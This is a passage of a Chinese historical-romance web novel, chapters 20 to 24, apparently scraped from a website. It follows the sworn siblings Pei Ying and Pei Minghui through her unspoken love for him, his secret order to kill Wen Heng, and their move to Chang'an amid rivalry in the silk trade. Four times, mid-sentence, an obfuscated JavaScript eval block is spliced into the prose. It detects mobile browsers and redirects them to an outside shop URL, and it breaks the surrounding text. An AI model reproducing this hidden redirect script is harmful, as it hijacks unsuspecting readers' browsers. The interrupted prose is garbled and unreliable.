裴瑛的笑容无奈却又宠溺,从怀里取出伤药膏来,用指尖取了伤药膏,而后将其均匀涂抹在裴明绘的伤口上。 微凉的感觉顿时压过伤处火辣辣的疼痛。 “温珩绝非良配。”他的语气平缓,并无责怪之意,只是平静地与自己的妹妹叙述着利弊,“他居心叵测,给不了你想要的,只会将你拖入深渊。” 裴明绘的肩膀颤抖着。 他居心叵测,她又何尝不是呢。 他给不了她想要的,可是能给她想要的人,却是那永远不可能的人。 “哥哥……” 愧疚,痛苦与自责多种纷杂交织汇聚在一起,欲望与理智明暗对峙,几乎将她生生分裂成两半。 一半是十数年如一日爱着他,想要将他纳入怀中的自己,一半又是痛恨怀有如此违背伦常的欲望的自己,辜负了他的毫无杂念的真挚的爱。 “哥哥,对不起。”裴明绘的心无比挣扎无比痛苦,她艰难地回过头来,泪流满面,泪光闪闪,“我真的不是故意的。” 21. 第 21 章 裴瑛的呼吸一窒,随后扶住裴明绘的肩膀,缓缓将她抱在自己的怀里。 他垂下眸去,目光一瞬不离,将倚在怀中的妹妹映入眼眸深处。 他的目光褪去了所有庙堂上的算计,而只剩下真诚的对妹妹的疼爱。 她的肩膀瘦削,裴瑛的肩膀很宽阔,很轻松便将她完全抱在怀里。 “我怎么可能怪你呢。”裴瑛的声音很轻,像是春风一般柔和,无声之间消解所有冰雪,冰雪化作涓涓细流,悄无声息地流进裴明绘的心田。 “此般误会,我不会放在心上,你也不要自责。” 她的头靠在他的胸膛之上,她的全部重量也在此时都放在他的身上。 裴明绘的心纠结着,痛苦着,她紧紧攥紧他胸前的衣服,泪水洇透了他的衣衫。 “好了好了。”裴瑛慢慢拍打着她的背,却发觉她竟瘦了太多,“你莫放在心上,此种小事,万不值得你伤心。” 她既高兴,又伤心。 高兴的是,他并没有那个悖逆伦常,以下欺上的僭越的吻放在心上,她依旧是他的妹妹,伤心的是,她注定,永远都是他的妹妹。 她常常幻想,若是自己与他,并非在祖宗牌位前结拜为兄妹多好,若是能像故事里,因为恩情结拜为夫妻该有多好。 可是一切都是她的幻想,现在,裴瑛是她的哥哥,她是裴瑛的妹妹。 这是不可更改的事实。 这与血缘无关,而与责任,与义务,与深藏内心的歉疚,与朝夕相伴苦命相依所产生的情感联结有关。 所有的所有,或许都注定了他们只能是兄妹,因为二人的所有里面,没有情人的爱。 “好。”裴明绘的手圈过他的颈项,紧紧地抱着他,她将头靠在他的颈窝,悄无声息地贪恋着他怀中的温暖,“哥哥,我明白了。” 时间静谧流逝,窗外风雪簌簌,窗内燎炉火花崩开。 待到怀中人呼吸平稳之后,裴瑛缓缓将目光从她身上移到了那冒着火星的燎炉之上,原本平和的目光泛起涟漪。 他缓缓将裴明绘放下,而后将被子妥帖地盖好,而后起身便离开了。 他步子轻而柔,踩着厚厚的红毡之上,几乎没有发出一丝一毫的声响,他推开门,骤涌的冷空前赴后继地涌了过来,吹得他的发丝与衣袂飞扬。他回首,看向裴明绘的方向,是柔和的,是无奈的,是宠溺的。 可就他合上门的一瞬间,步履飒踏,青色的衣袂随着冷风飒飒飘扬,裴瑛的目光里温度瞬间被冷风尽数吹走。 “通知各郡各县官署,今有安邑要犯出逃,各关隘盘查过往行人,一经发现,即刻就地诛杀,将其头颅带回。” 若将其在千里迢迢地带回来,难免会在路上出什么事。 一批黑色甲士无声领命,而后隐入了黑暗之中。 “若有郡国豪强藏匿之,则先行汇报,同时尔等秘密寻其踪迹,相机杀之。” 温家枝叶多,根系也深,难免有什么不识趣的人想襄助于他。 又一批黑色甲士无声领命,而后退入黑暗。 “若是其逃入长安城,则按兵不动,再寻时机。” 裴瑛停在回廊处,看着漫天大雪纷飞,心中的全盘谋划已然形成。 温珩不能活,裴瑛抬起眼帘来,指腹无意识地摩挲着涂着一层黑漆的廊柱,飘飞在半空的晶莹雪花折射出一片冰冷的光,落进裴瑛的眼底。 此人阴狠狡诈,斗不过他,竟然想对他妹妹下手。 裴瑛明白,温珩所牵涉的,绝非仅仅一个颍川温氏,温家能以尺寸之功得以居此高位,虽屡屡遭受打压而不落败,其攀附结交真正的勋贵的能力,不可小觑。 自秦国横扫六国一统华夏始,颍川温氏似乎就具有对于政治的超高嗅觉灵敏度,先是在秦灭韩之时就率先举城投降,因此在秦国立足,后又在高祖协同项羽兵团合攻秦军之时,察觉利落投降高祖项羽兵团,与之里应外合,攻下颍川郡,温氏便选择了势力最为强悍的项羽部,而后又在察觉项羽部大势将去之时,又阴与高祖联合,将项羽逼至垓下。 温氏不过就是墙头草,哪边风大就往那边倒,正有所飓风将起,长草偃伏。但是墙头草与墙头草也是不一样的,在风向将有改变之时就立即倒向另一边,而另一些墙头草,则会在飓风已然到来的过程中,瞬间折为两半。 不得不说,温家每一代家主,似乎都掌握了墙头草的精髓,灵活在各方势力与皇权之间跳转,几乎每一次都毫发无伤,既往的功臣宿将一个接着一个凋零,温家却还是靠着灵活的身法活了下来,并且将自己的根系深深地扎进了颍川的土壤里,并且与其他地方豪强结为婚姻。 当然,他们的这些做法,皇帝都看在眼里,所以就将温珩父亲迁为九卿之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509492|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的奉常,同时想将温室一族全数迁入茂陵,以消除温家在颍川郡的地方势力,后来却因种种障碍,终以失败告结。 虽然皇帝对温家处以打击的态度,但对于温氏姐弟,皇帝却也颇为宠爱,先是桃花夫人,以美貌得盛宠,后有温珩,不过以其姿容,因其善伪善佞,而颇得帝心,出行游猎往往伴帝驾左右,最是春风得意。 裴瑛有自己的考量,若其未进长安城,就地诛杀,也不会产生什么隐患,可是若他进了长安,怕是牵扯就多了,到时,恐怕就不能再轻举妄动了。 温珩其人,虽然年轻,但却异常狡猾,若让他活着逃走,难免生事。 虽然裴瑛并不怕温珩,但是温珩竟敢对裴明绘动手,可见其心狠毒,其手段狠辣,这是裴瑛所断断不能容他的。 雪盈于睫,那么轻,又那么沉重。 他回头,再度望向她的方向,缓缓闭上了眼睛。 也许,是时候,该放手了。 当这个念头突兀冒出来的时候,裴瑛倏然睁开眼睛,映入眼帘的,却依旧是在夜色与朦胧的灯火的明暗交错,而后雪花飘落在其间。 他的心绪沉重而飘忽,像是廊外漫天飘飞的大雪一样,时而沉重地下落,时而又轻盈地飘起。 真的能放手吗? 忽然一阵风起,冰冷的雪花打在脸上,骤然的冷让裴瑛从迷茫里惊醒过来,他蓦然惊觉自己竟然生了将妹妹永远带在身边的想法,不嫁不娶,这样任何人都无法插入其间,二人永远都不会再分离,一时之间心跳如鼓。 这样恐怖的想法登时叫裴瑛自嘲起来,你不是自诩为无所畏惧吗,不是自以为为了报仇可以付出一切吗? 怎么如今要将妹妹嫁出去,你就生了如此龌龊的心思,难道你要平白耽误了她吗? 一个裴瑛质问道。 不,世间男人大多肤浅,若是叫她碰上司马相如这一类人,这不是你做哥哥的失职吗? 另一个裴瑛辩驳道。 内心天人交战,裴瑛坐在廊下,看着纷飞雪落。 一盏琉璃风灯悬在头顶,随着冷风转啊钻,各色斑斓的光彩也再不断交替变幻着,落在裴瑛身上。 一种无力感油然而生,裴瑛良久寂然,终是发出一声叹息。 一切以相遇开始,而一切终将与分离结尾,此乃世间固然之理,自己何能以一己私心,违逆它呢? 22. 第 22 章 翌日,云消雪霁,天蓝如镜,白云成团,一片洁净清爽之感。 春喜和另外及格伺候小姐梳洗的婢女早久候在外间,一听里间传来响动,赶忙鱼贯而入。 裴明绘跪坐在镜台之上,身后的春喜用镶嵌玛瑙翡翠的檀木梳将她浓密的黑发一下一下梳顺,而后用戴粉色地丝线分股拢结,而后盘好,堆叠如云之后再用金簪固定,余下的黑发如瀑布垂下,一旁的叫做夏荷的婢女则凝神专注为她上妆,一层细腻的珍珠粉敷过,而后便是描黛施丹,原本略有苍白的面色瞬间就光彩照人起来,昏黄的铜镜里瞬间焕发出耀眼的光泽来。 如灼灼桃花的粉色长袍曳地,雪光映着日光一照,便是如同粼粼波光一般的桃花暗纹,浅青色的披帛悬在两臂之间,被风一吹,像是窥得万里桃花掩映里那一点青山颜色。 裴明绘被众婢女簇拥着走向后院正厅,这时候午膳都摆了好,布菜的侍女也鱼贯着退下。 两案饭菜乃是一鼎两盘,分别是麋鹿肉,考得得酥脆鲜香的烤鸡,以及上锅蒸了两个时辰的胡羊肉,并着一爵醇香百年老凤酒。 裴瑛并未按照家主身份坐在正厅上首,而是将两张大案并排摆着,两张大案彼此间的间隙几乎近于无。 裴瑛确实平常一贯的青色的宽袍大袖,好似空山新雨之色彩,清俊端方儒雅随和,这便是河东裴家的公子。 他似乎正在思量什么,忽然听闻屋外声响,偏首便见裴明绘款款而来,登时笑了起来,“子吟醒了?” “是我睡得久了,叫哥哥好等。”裴明绘原本所有的阴郁,都在看见裴瑛的那一刻烟消云散,她的脸上登时扬起一个明媚的笑来回应他,“哥哥怎么不叫奴婢们叫我。” “天冷,何故起那么早。”裴瑛也是温和一笑,起身作了一个请宾客入席的礼,“快坐罢。” “岁首之时为兄有要务缠身,不能回来与子吟团聚,实乃为兄失职”裴瑛举爵迎向裴明绘,他依旧光风霁月,举止优雅从容,看起来,他真的没有把昨夜的吻放在心上,“今日你我兄妹团聚,该当合府大黼,共庆岁首。” 裴明绘放下心来,心底忧郁也在裴瑛的温和爽朗的声线里散去泰半,她随即也高兴地捧爵道,“岁首大吉。” 一爵饮罢,醇香的凤酒的香味缥缈不散。 筵席罢,兄妹二人便一同去了花园的亭子里,院子里的梅花开得正好,红艳艳地映着白雪,像是熊熊的火焰在燃烧。 “彼黍离离,彼稷之苗。行迈靡靡,中心摇摇。知我者,谓我心忧;不知我者,谓我何求。悠悠苍天,此何人哉?” …… 这清雅的歌声幽幽回荡在苍天之下,苍凉而又有肃穆,亭中歌声和着古朴肃穆的秦筝幽幽传来,而后便如同烟雾一般蔓延在园子里,时而鸟声啁啾,或清脆悦耳,或婉转悠扬。 所有听到的这首歌的人都不由放下了手上的事物,静静地听着这优美的歌声。 赤梅亭掩映在火红的梅花之中,梅花造式的亭子因地制宜。 裴瑛长身负手而立在亭中,青色的袍子在冷风之中微微飘荡,他的目光平静而又长远,像极了冯虚御风的仙人。 裴明绘抚琴而歌,素手抚过琴弦,秦筝叮咚作响。 裴瑛微微偏过头来,目光落在了裴明绘的侧脸之上,而后垂下眼帘,将青如竹叶的修长玉笛拿了出来。 清扬的笛声昂扬起伏,初有空山新雨之清新,后玉海阔鱼跃之浩然,音色的变换就像是人间风月景色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547232|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变换一般流畅自然,长音如海潮澎湃,短音如林海涛涛,乐声通转,骤然高升入凌风破云霄,明光乍现照亮人间,万事万物都瞬间明朗起来,都在日光之下矗立着,见证着新的盛世的到来。 裴瑛的笛声带着裴明绘的心一下从幽深的低谷里飞扬到了晴空碧落之上,她的心潮顿时澎湃起来,胸膛的血液涌动着,指尖滑过琴弦,或按或拨,行云流水,和着他的笛声。 秦筝与笛声相和,音律如号角,指法如兵法,万般妙趣意趣皆藏于这激动人心的乐曲之中。 怎知高岸为谷深谷为陵,时事往往不由人心,奸佞呼风唤雨,忠臣埋骨他乡。 只道守得云开见月明,却又怎知,自古谎言登青史,真言怎由人知? 如此乐声,就连墙外的行人也停下了赶路的脚步,扬起头来倾听。 可是再动听,在激扬的乐曲,再辉煌的时代,都有落幕之时。 “子吟,你的忧思很重。” 乐曲最表主人心思,兼之裴瑛善察人心,一曲奏罢,他收起玉笛,偏头看向裴明绘,裴明绘慢慢地将手从琴弦上放了下来。 裴明绘抿了抿唇,而后笑道,“心中事千万,自然免不了忧愁了。哥哥不必担心。” 裴瑛走过来,坐到裴明绘身边,微微侧过身来,抬手将她被风吹乱的鬓发拂开,而后掖到耳后。 他的面容与她的有着裴明绘垂下眼眸来,仔细地感受到他手心的温度,昨夜的那荒唐的亲吻的热度与滑腻的感觉余威犹在,叫她腾地一下脸红了下来。 他的手离开的时候,手背蹭到了她的脸颊,这异样的温度,让裴瑛瞬间变抬起了眼帘,目光看向了垂着头的裴明绘。 裴瑛:“明日我便要回长安去。” 23. 第 23 章 “什么……”裴明绘瞬间就抬起来眼眸,心中的失落铺天盖地而来,“哥哥才回来就要走吗?” “是啊,长安中诸事亟待处理,我不在的时日,便又有人,想要借此作乱。”裴瑛看向裴明绘,看着眼前自己这个看似乖巧的妹妹,心中主意瞬间定了,“你且同我一起去,裴家诸事,自有管家处理。今河东明月坊被烧,现在重建也不是时机,你且去长安,专心经营长安明月坊。” 裴明绘的心,又高兴,又难过,她垂下来,点了点头,“好。” 裴瑛的余光一直落在裴明绘身上,见她心思陡然低落,定然是心里有事,但左右不过是为着温珩那个臭小子罢了,故而他也就直戳了当地问道,“子吟,你可有心事?” 裴明绘在裴瑛面前几乎没有秘密,一惊之下,她也鼓起了勇气,抬头看向了裴瑛,努力让自己的语气听起来正常,并确保没有夹杂着嫉妒,伤心等任何负面情绪。 “哥哥,我听说就是南云公主与哥哥结亲了,这事可是真的。” 恭喜的话已经在裴明绘嘴里预备好了,只待裴瑛一个是字她便会欢欢喜喜地说出来,告诉裴瑛,只要这桩婚事是他心甘情愿的,她非常支持他的决定。 裴瑛一怔,拧起了眉,疑惑道,“你从何处听来的流言?” 所有的话瞬间卡在嘴边,裴明绘怔在当场。 裴瑛看着裴明绘这幅样子,不由笑出了声,他缓步走了过去,而后顺势歪着头,看着低着头的裴明绘的脸上装出的一脸正色。他伸手摸了摸裴明绘的头,无奈却又宠溺地笑道,“南云公主的母家乃是郑家人,我前几日方才检举了三川郡守郑济阴与诸侯私下交通,怎么可能迎娶南云公主。” 裴明绘抬头,一双眸子澄澈懵懂又无辜,冷风簌簌而过,将她的发再度吹乱,黑色的发丝在风中游动着,像极了春日蓬勃生发的柳丝。 而裴瑛依旧倾身看着她,笑容真挚。 耳际风声哗哗作响,裴明绘的心却也安稳下来。 看着她的眸底光一点一点亮了起来,裴瑛也笑了起来。 裴瑛自认勘破人间纷纭复杂形形色色的各种情绪与情感,不管是何种情绪,他都能从对方的各种细节,甚至是从眼神的细微变化里寻觅到马脚,而后据此探查,往往收获颇丰。 但是,裴瑛到底是以旁观者的角度去看。 裴瑛与裴明绘相处十六年,这十六年里,二人便是至亲。 他自认为自己对于这个妹妹了如指掌。 故此,裴瑛便将她所有的异常都归咎于乍失外室而惶惶不安,后知晓自己要尚公主的流言,心下最是不安。 女子的心思最是细腻,裴瑛心道,她定是担忧若自己娶妻之后,便会与她生分了。 怎么会呢,裴瑛颇有些无奈,自己身负血海深仇,一颗心早就浸润了仇恨,又怎么会成家呢? 但是子吟不一样,她有一颗善良的心,她渴望着爱,她害怕自己一个人。 原本漂泊无定的心在此刻落了下去,裴瑛看向裴明绘。 但是说到底,也是自己离不开她。 十六年相依为命,她已然是自己最后一个亲人了,若是连她也离自己而去,自己哪里又有心力再苦苦坚持坚持下去呢。 可是妹妹长大了,终究要离开自己了。 他想放手,想松开系着她的丝线,让她如纸鸢一般自由而去,自己就在原地,一直看着她,这就最好,最好。 他坐在廊下,枯听一夜雪落,却始终没办法做下这个决定。 人都有私心,任何人都害怕孤独,就连一向冷冽无情雷霆手段的裴瑛,也害怕孤独。他无法想象,习惯了在家中等待的她,若一朝分离,自己又该如何。 “子吟,你听为兄说。”裴瑛坐在裴明绘身边,声音郑重起来,“你我兄妹相依为命,谁也不能离了谁。为兄不会娶妻,纵然公主,为兄也决然不会娶的。但是子吟,我知道你的心思,无论如何,我也不会将你外嫁的。 裴明绘顿时惊喜地回过头,她看着裴瑛的侧颜,惊讶高兴得甚至都说不出话来。 “但是有朝一日,你遇到喜欢的人,若是低嫁,自也是好说。但若是高嫁,以为兄之职位,除了王子皇孙,想必都在为兄之下,只要对方愿意入赘,为兄愿意将裴氏家业托付于你夫妻二人。” 冷风簌簌,裴明绘的心瞬间成了冰天雪地的一座冰雕,浑然没有温度。 但是,裴明绘却挤出一丝笑容来,将所有悲伤的都伪装成感动的泪水堂而皇之地流了下来。 “哥哥。”裴明绘咬着唇,强迫自己不哭出声来。 裴瑛只当她喜极而泣,故伸出手来,将她脸庞上的泪水擦去,柔声道,“好了,不哭了。那子吟也答应为兄,不要离开哥哥好不好。” “我不嫁人。”裴明绘扑到裴瑛的怀里,脸庞靠着他宽阔的胸膛,双手紧紧抓着他的衣襟,声泪俱下,“哥哥,子吟绝对不会离开哥哥。” “子吟净说傻话,男大当婚女大当嫁,为兄有着私心,以前为兄位卑人轻,你若嫁出娶,为兄便不能常常见你了,偌大的裴府再也没有人等着我了。”裴瑛微笑着看着裴明绘,轻抚她哭到颤抖的肩膀,只当她是一时情绪至极说的煽情话,“可如今为兄已位极人臣,便也不能再耽延你的婚事了。” “不,哥哥。我不会离开你,哪怕死也不会,是我错了,我不该引狼入室。” “难道你要做老姑娘吗?”裴瑛轻声说道,他垂下眼眸,指腹虚抚过她的脊背,想要放下,却又迟疑,这微末的距离,却成了裴瑛始终无法靠近的鸿沟,他闭了闭眼,而后将手放在了她的肩膀上,“只要你喜欢的,为兄都会帮你,其为人,你自不用担心。” 千言万语郁结在胸,仿佛气血凝固不能通畅。 裴瑛是天下第一好的哥哥,可是,却也只是哥哥。 裴明绘缓缓地抬起头,仰头看着裴瑛,盈满了泪水的眼眸模糊了他的容颜。 “哭什么。”裴瑛略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560196|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有薄茧的手抚过了她的脸庞,这泪水,停留在他的指尖,莫名的热意让他心不由慌了一瞬,这异样的情绪不禁让他蹙起了眉,但他很快压下心中的躁意,不动声色地将那那扰动他心弦的泪水擦去,“你我兄妹永不分离,这难道不是最好的吗?” 天上又下起了雪,驭手将辎车套好,府里的仆人将府中的裴明绘的东西都装在大箱子里,而后搬上了车。 仆人拉开帘子,裴明绘扶轼登车,弯腰进了辎车,辎车内壁贴着狐狸毛,毛绒绒的很舒服,她捧着一个小手炉,故而一点也不冷。 “驾车仔细些。”裴瑛叮嘱了驭手,而后便踩着厚厚的积雪,利落翻身上马。 裴瑛披着黑色的斗篷,斗篷在冷风里簌簌翻飞,他利落翻身上马,待车马齐备之后,便打马一鞭,马队便辚辚地望着安邑西城门而去。 裴明绘缩在厚厚的狐裘里,毛绒绒的领子簇拥着她尖尖的下巴,很舒服很温暖,簌簌风雪声伴着压过新雪的车马声一路传她的耳朵,让她不禁有些迷惘,长安虽好,然终是波谲云诡之地,自己不往长安住,多是不喜此地之勾心斗角,兼之各路权贵云集,须得处处谨慎,一步小心,恐身死魂消,再好的产业也都拱手送与他人。虽说哥哥位极人臣,但到底政敌如云,未来如何,谁又知晓? 长安乃是极富贵之地,天南地北的豪杰人才皆心向往之,可是越是富贵之地,却也越是凶险。 天子脚下,皇城之中,不知掩藏着多少血腥斗争,自此往,恐再难归来。 * 风凄雪急,黑衣剑客抱剑而立。 “出来罢。” “哈哈……” 艰难地喘息从喉咙里溢出来,温珩艰难地从林子里头站了出来,浑身大大小小的伤口不知几多,殷红的血顺着他的嘴角蜿蜒而下,滴落在皑皑白雪之上。 很是狼狈。 “你要杀我吗?” 温珩用手背抹去唇畔的鲜血,一双黑凌凌的目光闪动着仇恨的光芒。 “生死在你,不在我。” 黑衣男子缓步走了过来。 “呵,可笑。”温珩冷笑一声,“你们主子要杀我,你怎么可能放过我,你难道不想提了我的脑袋去邀功吗!” “温公子何必如此疾言厉色。”男子走了过来,“再说了,功劳与否,若是能与颍川温氏共图大事,这些微功劳又算得了什么呢。” “大事?”温珩抬起眼来,正式审视眼前这个男子,又冷笑一声,“你们无位无权,多年来遭皇帝打压,不知剪除羽翼几多,竟敢妄言大事,好不可笑。” “难道就如温公子一样,竟图谋些可笑的小事吗?” 男子也不恼,反而笑了起来。 “若是如此,不如就让你死在这冰天雪地了,也算干净。” “等等!” 温珩一把拽住了他的衣袖,压下心中的悸动之后,苍白着浸染着血色的唇勾起邪气的笑来,“只要你跟裴瑛作对,我就帮你。” 24. 第 24 章 建金城而万雉,呀周池而成渊①。长安有金城连绵,宏伟而坚固,一眼望去,便如群山广阔,此起彼伏的城垛之上旌旗猎猎,随风舒卷不。披三条之广路②,立十二之通门,其下乃是深广的护城河绕城而行,其上有桥,过桥,每面城墙有城门三洞,内有大道,途容四轨。 入得长安城内,则街衢洞达,闾阎且千,东市三市并西市六市,共为九市,其中货别隧分,以聚天下南北商人,更有胡人售以珍奇事物。 故有言语曰,长安既庶且富,娱乐无疆。③ 长安城的雄阔壮丽,关中的胜迹连绵,无不吸引着追求名利的各方豪杰,他们纷纷涌向了都城长安,摩肩接踵人流如织。 固有天下南北豪杰咸聚长安之语。 长安的坊市极为热闹,远非安邑可比,画檐连绵相接,华丽高楼鳞次栉比,高楼间或有画廊凌空,灯火璀璨如海潮,绵延无尽,巷闾街市酒肆里传来人们的爽朗笑声,或吟诗作对,或谈古论今,来往出入者往往衣着华丽,时有大马高车穿梭其间,马嘶鸣之声,车辚辚之声,以及来往行人的说话嬉闹之声,交织在一处,作出一副国家盛世之景象。 因着近来长安东市明月坊有一宗大额交易,所以裴明绘携了聂妩,二人一同去寻了职司察商贾货财贸易之事的市令,将其所立契约加盖官印,以之为凭证。 “劳烦市令大人了。” 裴明绘的将契约收了起来,很随意地一问,“听说近来东市新住进来一批丝绢商户,不知都是从何处来的。” 市令是个四十多岁的男人,是长安本地人,姓胡,名仲文。胡仲文虽是文职,却生得虎背熊腰,一双眼睛像是铜铃一般炯炯有神,他在明月坊设在长安之时,裴明绘便没少于他打点,于是二人也是分外相熟,在同行找茬之时,胡仲文也没少帮忙。 “是啊,裴小姐。”胡仲文道,“原本东市便属明月坊最大,可最近各郡国的丝绢坊却一下哗啦都涌了过来,各各都低价卖,今日跌三,明日跌五,个个都跟不要钱似的。” 裴明绘的眼帘倏然就抬了起来,“跌三跌五?” “我可没诓小姐,我确实也没想到,个个也都是中上等的好料子,怎么着都要跌三跌五。” 高档的绫罗绸缎,不与粮食盐铁一般是必需品,同时,他们所面向的客源也就是长安城的达官贵胄,再不济也是家中有产业进项的富贵人家,此等人家家中富裕,加之又非大宗进货,确是对中上品的丝绢价格的下降没有那么敏感,故而在此等产业就没有大规模降价的必要性。 在常人眼中看起来,这定是要借明月坊库房失火一事,诸多经营丝绢产业的同行便纷纷借此涌入长安,联合起来压价,夺取明月坊在中上等丝绢的客源。 若是放在平常,裴明绘也并不在意这些,明月坊府库被烧,这已经是不可改变的事了,而且长安明月坊也将不可避免的陷入缺货的状态。 而且现在并不是从农户收购蚕茧的时候,而且如此大的缺货,她的同行们定然要加紧唯独,直接断了她丝线的来路,所以从各处丝坊收购丝线的路子也就断了。 如此,若是明月坊同其他丝绢坊一般大规模降价,亏损先不必提,就是明月坊各雇员人士的钱恐怕一时也周转不出来。 裴明绘总觉得,其后隐藏着什么更大的阴谋在,而这些阴谋定然不只是商业的算计,更可能牵涉到庙堂。 一路走过来,有些与她相熟的同行正以一种可怜又好笑的眼神看着她,这眼神看了就叫人讨厌。 想着这些,裴明绘的眼神就暗了下来,不知不觉间,她的目光就门口的喧闹声吸引了过去,她的目光倏然间又落在杵在一边用脚画着圈的聂妩,看来她哥哥留给聂妩的阴影那是真的大。 “你怎么一路上都不高兴,裴瑛已经不在这儿了。”裴明绘揽住聂妩的胳膊。 聂妩一听到裴瑛两个字,顿时就吓得浑身一颤,只一劲点头摇头,裴明绘无奈,双手扶住聂妩的脑袋,郑重地对她说道,“聂妩,你别怕,有我在,就算是裴瑛可不可以伤害你的。” 聂妩这才从惊惧之中缓了过来,她紧紧攥着裴明绘的手,可脑海中裴瑛的脸如梦魇一般挥之不去。 冬雪飘飘,甲士的剑架在她脖子上,差一毫就将割破她的肌肤。 柴房里没有一丝光亮,裴瑛抱臂立在门侧,浅浅地将眸光扫了过来,登时聂妩的膝盖就软了下来,噗通一声跪了下来,吓得浑身发抖。 “家主饶命!奴再也不敢行此妄为之事,还请家主看在奴多年侍奉的份上,饶奴一条姓名罢。” 裴瑛没说话,浓郁的黑色与惨白的雪光相互纠缠着,照出他俊雅而又无情的侧颜。 聂妩知道,若是自己再无法给出裴瑛满意的答案,或许自己就再也见不到明天的太阳了,她赶忙咚咚叩首,急忙表示忠心,“奴在此立誓,若再撺掇小姐行不正之事,当天诛地灭不得好死!” 裴瑛的偏过头来,一双眼睛流露出冷冽而又危险的光芒,他的声音好似金铁振音一般,让聂妩的心震颤不已。 “你且记住你今日的话,若有下次,不用老天收你,我自会将你碎尸万段。” 他的话没有情绪涌动,但是每一个字都透着风霜刀剑的寒意,寒意之下,是赤裸裸的杀意。 聂妩虽然知道裴瑛心狠手辣,但到底跟在骗我明绘身边,见惯了裴瑛温柔的样子,心底对他的畏惧也就少了许久,以致于在提出那个馊主意之时,忘却了裴瑛那手眼通天的本事与事发之后的恐怖后果。 裴明绘温柔的声音把聂妩从恐惧中拉了出来。 “好了,别想这些来,既然决定把重心迁到长安,那便当好好经营明月坊。” “今日你我不论别的,只来看看长安坊市的新鲜玩意,听说从西域来了极特殊的可以安神的香料,你我前去看看好不好。” 裴明绘同她一同走出了官市署,走下台阶,便到了青石板铺成的大街之上,两侧高楼店铺林立,各色幌子插在店门前随风舒卷着,棚子支起的摊子上是形形色色的商品,或走兽毛皮或珍奇宝物,各色器具林林总总,叫人看得眼花缭乱。‘长安就是长安,就是十个安邑,也比不上它。 二人一路走着,一路便买了不少精致玩意,来来往往各色人物也都见过了,有前来太学求学之人,有来周游盛景之人,甚是热闹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584112|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在二人兴致正浓之时,身后突然有人叫了裴明绘一声,她先是偏过头来,目光遂落在了挤过人群走过的胖男人,穿着锦绣狐裘,肥大的独自艰难地用皮革腰带圈起,上头还坠着一块大大的玉,看样子应该雕的四不像。 “哟,还是熟人。” 聂妩也回过头来,忍不住笑出了声来。 “原是裴掌柜与聂执事。” 胖男人乐呵呵挤了过来,此人原是大梁的丝绢大商,姓郭,名升,名下也是有良田千顷专一种植桑树,其丝绢坊以大梁为名,郭家祖上三代都是专营丝绢生意的,三代积累,到了郭升这一代,便更加发达起来,一度挤进了皇商之列,而且裴明绘风闻郭升常与丞相来往,故宫廷丝绢采买故常以郭家的大梁丝绢坊为大头,而郭升在在此发了一笔大大的横财。 在此见到郭升,裴明绘并不奇怪,昔日明月坊进驻长安,瞬间便夺了大梁丝绢坊的风头,郭升顿时开始给丞相送了一批大大的礼,同时又暗自给关市送礼,叫他暗自针对明月坊。 在各方明里暗里的打压之下,明月坊门前客人骤疏,裴明绘心一横直接给丹阳长公主送去了丰厚的礼物,其中有一领火狐裘,三尺之内雪落即雪化,最为珍贵,也最是昂贵,原是裴明绘留着给裴瑛的,但失态紧急,她也只能忍痛割爱,将它送给长公主了。 长公主自然是喜欢得不得了,她同皇帝的一句话,瞬间就让长安明月坊从濒死的边缘瞬间又活过来。 有了丹阳长公主的庇护,明月坊这才逐步往上走。 后来,裴明绘将半数身家充实国库之举,则叫明月坊挤入了皇商之列,这叫郭升又嫉妒又气,而陆珩舟原不想同丹阳长公主争这些东西,但是大梁丝绢坊的利润越来越少,他手中里的油水也越来越少,他也就坐不下去了。 可是丹阳长公主是谁,就算是丞相是她亲舅舅,到手的利益她焉能就叫它没了,原本就在陆珩舟命廷尉去查明月坊之时,裴瑛来了。 